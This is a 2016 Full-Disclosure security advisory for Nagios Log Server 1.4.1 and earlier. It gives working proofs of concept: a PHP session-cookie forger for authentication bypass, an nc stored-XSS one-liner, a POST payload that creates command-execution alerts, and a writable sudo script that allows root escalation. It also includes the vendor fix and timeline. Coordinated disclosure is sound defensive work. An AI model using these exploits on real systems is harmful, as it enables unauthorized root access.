lists.openwall.net   lists  /  announce  owl-users  owl-dev  john-users  john-dev  passwdqc-users  yescrypt  popa3d-users  /  oss-security  kernel-hardening  musl  sabotage  tlsify  passwords  /  crypt-dev  xvendor  /  Bugtraq  Full-Disclosure  linux-kernel  linux-netdev  linux-ext4  linux-hardening  linux-cve-announce  PHC 
Open Source and information security mailing list archives
 
Hash Suite: Windows password security audit tool. GUI, reports in PDF.
[<prev] [next>] [day] [month] [year] [list]
Date: Thu, 11 Aug 2016 10:36:33 +1200
From: Francesco Oddo <francesco.oddo@...urity-assessment.com>
To: <fulldisclosure@...lists.org>
Subject: [FD] Nagios Log Server Multiple Vulnerabilities

(    , )     (,
  .   '.' ) ('.    ',
   ). , ('.   ( ) (
  (_,) .'), ) _ _,
 /  _____/  / _  \    ____  ____   _____
 \____  \==/ /_\  \ _/ ___\/  _ \ /     \
 /       \/   |    \\  \__(  <_> )  Y Y  \
/______  /\___|__  / \___  >____/|__|_|  /
        \/         \/.-.    \/         \/:wq
                    (x.0)
                  '=.|w|.='
                  _=''"''=.

                presents..

Nagios Log Server Multiple Vulnerabilities
Affected versions: Nagios Log Server <= 1.4.1

PDF:
http://www.security-assessment.com/files/documents/advisory/NagiosLogServerAdvisory.pdf

+-----------+
|Description|
+-----------+
The Nagios Log Server application is affected by multiple security
vulnerabilities, including authentication bypass, stored cross-site
scripting, inconsistent authorization controls and privilege escalation.

These vulnerabilities can be chained together to obtain unauthenticated
remote code execution in the context of the root user.


+------------+
|Exploitation|
+------------+
==Authentication Bypass==
Authentication for the Nagios Log Server web management interface can be
bypassed due to an insecure implementation of the function validating
session cookies within the ‘Session.php’ file. As shown below, the
application uses a base64 encoded serialized PHP string along with a
SHA1 HMAC checksum as the cookie to authenticate and manage user
sessions. A sample cookie format is shown below:

a:11:{s:10:"session_id";s:32:"4a6dad39cec8d6a5ef5a1a1d231bf9fa";s:10:"ip_address";s:15:"123.123.123.123";
s:10:"user_agent";s:72:"Mozilla/5.0 (Windows NT 6.3; WOW64; rv:46.0)
Gecko/20100101 Firefox/46.0";
s:13:"last_activity";i:1463700310;s:9:"user_data";s:0:"";s:7:"user_id";s:1:"1";s:8:"username";s:4:"user";
s:5:"email";s:16:"test@...mple.com";s:12:"ls_logged_in";i:1;s:10:"apisession";i:1;s:8:"language";s:7:"default";}<SHA1-HMAC-CHECKSUM>

The application relies on the validation against the SHA1 HMAC to
recognize and destroy invalid session cookies when the checksum value
does not match. However the encryption key used to generate the HMAC
checksum is statically set to the SHA1 hash value of the
$_SERVER['HTTP_HOST'] PHP variable, which is the Host HTTP header value.
This information can be controlled by the attacker and as such should
not be considered a secure randomly generated value for the secret
encryption key.

Since no further verification is performed for other non-predictable
fields (e.g. session_id, apikey, email, username etc.) and only a valid
user agent string matching the correct HTTP header value is required, an
attacker can forge arbitrary session cookies and bypass authentication.

The script on the following page generates session cookies which are
accepted and validated successfully by the application. A ‘user_id’
value of 1 can be used to initiate a session in the context of the admin
user.

[POC - nagiosls_forge_cookie.php]
<?php

// Usage: php nagiosls_forge_cookie.php [TARGET_IP_ADDRESS/DOMAIN NAME]

$host = $argv[1];

<?php

$host = $argv[1];

$session =
'a:11:{s:10:"session_id";s:32:"XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX";s:10:"ip_address";s:15:"123.123.123.123";
s:10:"user_agent";s:72:"Mozilla/5.0 (Windows NT 6.3; WOW64; rv:46.0)
Gecko/20100101 Firefox/46.0";s:13:"last_activity";
i:1463693772;s:9:"user_data";s:0:"";s:7:"user_id";s:1:"1";s:8:"username";s:4:"XXXX";s:5:"email";s:16:"test@...mple.com";
s:12:"ls_logged_in";i:1;s:10:"apisession";i:1;s:8:"language";s:7:"default";}';

$encryption_key = sha1($host);

$hmac_check = hash_hmac('sha1', $session, $encryption_key);

$cookie = $session . $hmac_check;
echo urlencode($cookie);

?>


This vulnerability is present across multiple Nagios products.


==Stored Cross-Site Scripting==
The Nagios Log Server application does not validate and HTML encode log
data sent by configured sources. This issue is aggravated by the fact
that the application does not maintain a list of authorized log sources,
but instead accept data from any host connecting to the Nagios Log
Server port responsible of collecting logs (TCP 5544). An attacker can
exploit this vulnerability to send malicious JavaScript code and execute
it in the context of Nagios Log Server user session as shown below.

[POC STORED XSS]
# echo '<script>alert("xss")</script>' | nc [TARGET IP] 5544

The payload gets rendered under '/nagioslogserver/dashboard'.

==Inconsistent Authorization Controls==
The Nagios Log Server application provides intended functionality to
define custom alert commands using different configuration options. By
default, only administrative users can define alert commands which
execute scripts on the Log Server filesystem when an alert is triggered.

However, the application does not properly enforce authorization checks
and an attacker can access the same functionality in the context of a
standard user session by providing the correct payload in the ‘alert’
POST parameter. This functionality can be abused to obtain remote code
execution on the target system as the application does not restrict the
script definition to a single folder and an attacker can specify
absolute paths to any script or executable file present on the Log
Server host.

[POC - CREATE COMMAND EXECUTION ALERT]
URL => /nagioslogserver/api/check/create/1
Method => POST
Payload =>
alert={"name"%3a"StduserAlertTest","check_interval"%3a"1m","lookback_period"%3a"1m","warning"%3a"1",
"critical"%3a"1","method"%3a{"type"%3a"exec","path"%3a"/bin/touch",
"args"%3a"/tmp/STDUSER"},"alert_crit_only"%3a0,"created_by"%3a"stduser","query_id"%3a"AVTLGmd-GYGKrkWMo5Tc"}


==Privilege Escalation==
The default Log Server application sudoers configuration allows the
‘apache’ user to run the ‘get_logstash_ports.sh’ script as root without
being prompted for a password. However insecure file write permissions
have been granted to the 'nagios' group for the ‘get_logstash_ports.sh’
script file. Since the apache user is a member of the 'nagios' group, an
attacker can overwrite the script contents with arbitrary data.

Details about the script with insecure permissions are provided below:
PATH => /usr/local/nagioslogserver/scripts/get_logstash_ports.sh
PERMISSIONS => rwxrwxr-x nagios nagios


+----------+
| Solution |
+----------+
Upgrade to Nagios Log Server 1.4.2


+------------+
|  Timeline  |
+------------+
2/06/2016 – Initial disclosure to vendor
3/06/2016 – Vendor acknowledges receipt of advisory
22/07/2016 – Vendor releases patched software version
11/08/2016 – Public disclosure


+------------+
| Additional |
+------------+
Further information is available in the accompanying PDF.
http://www.security-assessment.com/files/documents/advisory/NagiosLogServerAdvisory.pdf



_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/

Powered by blists - more mailing lists

Powered by Openwall GNU/*/Linux Powered by OpenVZ